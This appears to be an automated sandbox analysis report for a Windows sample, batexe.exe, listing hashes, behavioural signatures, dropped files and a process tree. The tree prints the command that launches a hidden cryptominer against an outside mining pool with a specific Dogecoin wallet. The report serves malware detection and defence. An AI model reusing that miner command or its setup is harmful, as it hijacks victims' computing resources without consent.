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Analysis
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max time kernel
299s -
max time network
307s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
12/02/2024, 07:30
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 2600 b2e.exe 4116 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4116 cpuminer-sse2.exe 4116 cpuminer-sse2.exe 4116 cpuminer-sse2.exe 4116 cpuminer-sse2.exe 4116 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/3476-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3476 wrote to memory of 2600 3476 batexe.exe 83 PID 3476 wrote to memory of 2600 3476 batexe.exe 83 PID 3476 wrote to memory of 2600 3476 batexe.exe 83 PID 2600 wrote to memory of 4160 2600 b2e.exe 84 PID 2600 wrote to memory of 4160 2600 b2e.exe 84 PID 2600 wrote to memory of 4160 2600 b2e.exe 84 PID 4160 wrote to memory of 4116 4160 cmd.exe 87 PID 4160 wrote to memory of 4116 4160 cmd.exe 87
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95B8.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4116
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
28.6MB
MD5a0aeb53c8724d8adb6ee651584a0cd7c
SHA14eb1121f7d56570632c85472af98b509b5efa365
SHA25648f618acd50753a2299c499f851bc514e4c904b4eccda83928bc6fb74d43a766
SHA512538ca2b51aa1b288073261552572d5eace506e9d0ce1e51ce5ba6c0957d8f199457bf19ef64074dd03a333ecba59b35661f493a7e0c458ba9bc22b29a3731026
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Filesize
13.4MB
MD57499a32900b317c2eaaed7121ab7aa1c
SHA142fa5bb4900b7669372aba9577f59dd80b8a0b22
SHA2565a2f4eb151b0efaae48c5b57696b12803b86469215a80883ed6554be5ee1a7b2
SHA512b2a2b7ccdb8b817e576cc005a187b3958c8cb445587700fad49301f92113097f76944b913344572f754af687168a62dd6fc1296122547378665b4bb10d0d4f9d
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Filesize
12.8MB
MD5d6e1764b34d5a6d410a94d9354270327
SHA10d2454c98114c44afab14c69ddaeefa2896fbaf8
SHA256a0f76159c7e5cf032ec94a894d46773b7937cdc7faef9d7d704e4a1bfe89a28f
SHA512f69d0b496ae5667dc65dc13686f707b62663d5ce46146ac02f7f805c3a4893299eb70eb379d32ddcf14e5e6915e4bd03389a18c01ad94b9d0ccf3d7d62517140
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
5.4MB
MD5b69b2b567106989129ddd1f281a2dbfc
SHA1f920cdbab8e8093c517e2fe6f927532e18f4f230
SHA2567cb5d6cab0fa416105b593d2b5a12d9f87fbd74ee6ab856b7771060dddcfe0cc
SHA5129757224357a416619e6f265b7d470794aa4da7a0c33d0bd2809a9288dd629258357b3c799fcc2663a08bfcb254e00233b9c8d36f0c3188e95a1ffa1ee1334578
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Filesize
4.9MB
MD5436b6ece0c1b1e244af1dbf84ae5f8b0
SHA149f26226f9dbb2d3879ca88f8d78ee44abd41a44
SHA2566f31decca9ac224e2bafbf2300aa31583e4f32044bebd13d2cdd47611a8bd715
SHA5128fe86db2e5201d95da6c7f7c2265582d42ffc67a30912edfa265cff2d298987b187baa750f157a03ebae163594b4d04c1397e44d8ec1cec3c32432cded29e1fd
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Filesize
5.9MB
MD5302e7aa1dd30e39bf5a49f44a159ee5c
SHA1eb9d6ec4be7ad7648b685ca5e250273c9e265334
SHA2561353e8e03d95c4dd23def0b6db14fbec021a9e4ec34ab5e632f03fab6505c208
SHA5124ddfec0d38196ca148c3bbcb36dfbdfa4aa224d3c12bb5e4f7b0f790520a2efa87922b5af558dc80cd6f558be61fe1a1b565a35dbbff0b512eb39d8ad40d42bd
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770